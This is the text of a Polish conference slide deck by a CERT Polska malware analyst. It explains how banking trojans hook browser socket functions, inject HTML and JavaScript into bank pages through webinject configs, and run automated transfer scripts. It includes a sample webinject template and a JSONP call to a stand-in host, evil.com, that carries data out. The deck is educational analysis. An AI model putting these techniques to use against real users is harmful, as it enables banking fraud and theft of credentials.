Od assemblera do html5 czyli jak się dziś kradnie pieniądze Tomasz keidii Bukowski
@~# id IRT @ Cert Polska malware hunter / devops member of DragonSector
Jak działaj internet jakaś między-sieć przeglądarka serwery banku
Jak działają komputery (przeglądarki) 1 2 magia wewnątrz komputera
Gdzie kraść pieniądze? 1 2
Jak działają komputery (przeglądarki) 1. 2. 3. 4. 5. 6. 7. 8. USER otwiera [ https : // bank.test / login ] rozbij URL na: a. protokół == https (-> port = 443) i. czyli http + SSL b. adres (domen) == bank.test c. zasób == login znajdź adres IP bank.test (zapytanie DNS poprzez API systemowe) połącz się z IP (socket / TCP, port 443) -> [1] wynegocjuj połączenie SSL przez [1] (zestaw kanał SSL) -> [2] a. weryfikacja certyfikatu (ważność, CA, Cname, etc) prześlij zapytanie HTTP przez [2] odczytaj odpowiedź na (6) przez [2] -> [3] przetwarzaj [3]
Jak działają komputery (przeglądarki) 8. przetwarzaj [3] :-) a. odczytaj nagłówki b. odczytaj treść c. rozpocznij parsowanie dokumentu HTML i. ii. iii. pobierz dodatkowe treści renderuj! uruchamiaj skrypty (javascript) sprawdź Origin Policy sprawdz milion innych rzeczy tutaj dużo magii tutaj dużo magii
Jak działają komputery (przeglądarki) 8. przetwarzaj [3] :-) a. odczytaj nagłówki b. odczytaj treść c. rozpocznij parsowanie dokumentu HTML i. ii. iii. pobierz dodatkowe treści renderuj! uruchamiaj skrypty (javascript) sprawdź Origin Policy sprawdz milion innych rzeczy tutaj dużo magii tutaj dużo magii
Pomysł 1.0 Zmodyfikujmy treść dokumentu! Gdzie? (i dlaczego nie tam): routerek? MITM? system-level socket (ws2_32)? internalsy przeglądarki? inne pomysły?
stage 0 - infekcja
Pomysł 1.0 Czyńmy zło: 1. 2. 3. 4. Wstrzyknij kod do procesu(ów) przeglądarki (jesteśmy w domu :-) Wyszukaj funkcji odczytu/zapisu treści żądania Wstaw inline-hook (trampolina) do własnego kodu czyli?
Jaki malware? Tinba IFSB VMZeuS Slave Dyre Kronos Bublik SuperBankerTrojan2016?
Pomysł 1.0 1
! UWAGA!! (prawie) assembler! tylko osoby pełnoletnie!
Hookowanie 1.0 pamięć procesu KOD IAT (tablica importów) socket_read -> 0x1234 cośtam call socket_read() cośtam sockety.dll 0x1234: cośtam cośtam return
Hookowanie 1.0 pamięć procesu KOD IAT (tablica importów) evil.dll socket_read -> 0x9999 cośtam call socket_read() cośtam 0x999: inne cośtam return sockety.dll 0x1234: cośtam cośtam return
Hookowanie 2.0 pamięć procesu KOD cośtam call socket_read() cośtam sockety.dll 0x1234: cośtam1 cośtam2 return evil.dll 0x999: zlosliwe1 return
Hookowanie 2.0 pamięć procesu KOD cośtam call socket_read() cośtam sockety.dll 0x1234: cośtam1 cośtam2 return evil.dll 0x999: zlosliwe1 return
Hookowanie 2.0 pamięć procesu KOD cośtam call socket_read() cośtam sockety.dll 0x1234: GOTO 0x999 cośtam2 return evil.dll 0x999: zlosliwe1 cośtam1 GOTO 0x1234 + 1
Hookowanie 2.0 Problemy: 1. Pamięć ma atrybuty RWX a. 2. 3. trzeba zapisać tam, gdzie powinno być tylko RX trzeba zachować cośtam1 i cośtam2 a. instrukcje są różnej wielkości b. nie można zostawic pół instruckji W evil.dll nie możemy wykozystać socket_read a. czemu?
HTTP (w końcu!) Gimnazjum && liceum ;-)
Prawie-proxy na strumieniu danych... Manipulacja zapytaniem/odpowiedzią HTTP HTTP = Headers + body O czym trzeba pamiętać: fix content-length fix content-encoding (multipart? chunked?) pomijać nie text/html (chyba że chcemy podmieniać kawałki obrazków!)
czyli Webinject... Jak (prawie) zawsze wygląda webinject? Gdzie set_url https://awsome*bank.pl/login* Co replace: <head> inject: <head><script id="myqwe1"> alert( zuo ); </script> <title>zuo</title> end_inject Jak
czyli Webinject... Przykłady
<HTML>
<HTML> PS: jest jakiś programista HTML na sali? PPS: programiści C powinni wyjść obrażeni :-)
Modyfikacja treści dokumentu... Możemy. wszystko* level easy: podmeńmy numery kont!!! trzeba hardkodować numer ;-( inne pomysły? *co jest dopuszczalne w ramach okna przeglądarki, czyli?
User-mode hook - demo TODO: pokazać demo
Pomysł 2.0 ATS - jak działa jamniczek* Do strony doklejamy kawał JS, który: odczytuje (śledzi) całą aktywność użytkownika komunikuje się z serwerem zewnęrznym onkeypres / onmousemove / obblur /... Jak? AJAX złamie SOP? wyswietla / ukrywa potrzeb jquery FTW / zmienia elementy strony w zależności od
ATS ATS - zróbmy tak : Zainfekowany komputer config update malware CNC Przeglądarka Malware SSL :-) Strona Bank XX YY ATS (JS-based quasi CNC) JSONp
ATS - js-framework JSONp (dla tych, którzy nie znają): TODO: Na stronie https://bank1.test/ chcemy nawiązać komunikację z evil11.com <script src= ://evil.com/api.php?data=123&callback=func99 > RESPONSE: func99(show_message, MAMY CIĘ! );
ATS - przykład injectu TODO: pokazać przykład ;-)
Ostatni element...
Koniec. Tomasz KeiDii Bukowski keidii at mail dot com tomasz.bukowski at cert.pl www.cert.pl Ciekawa Praca!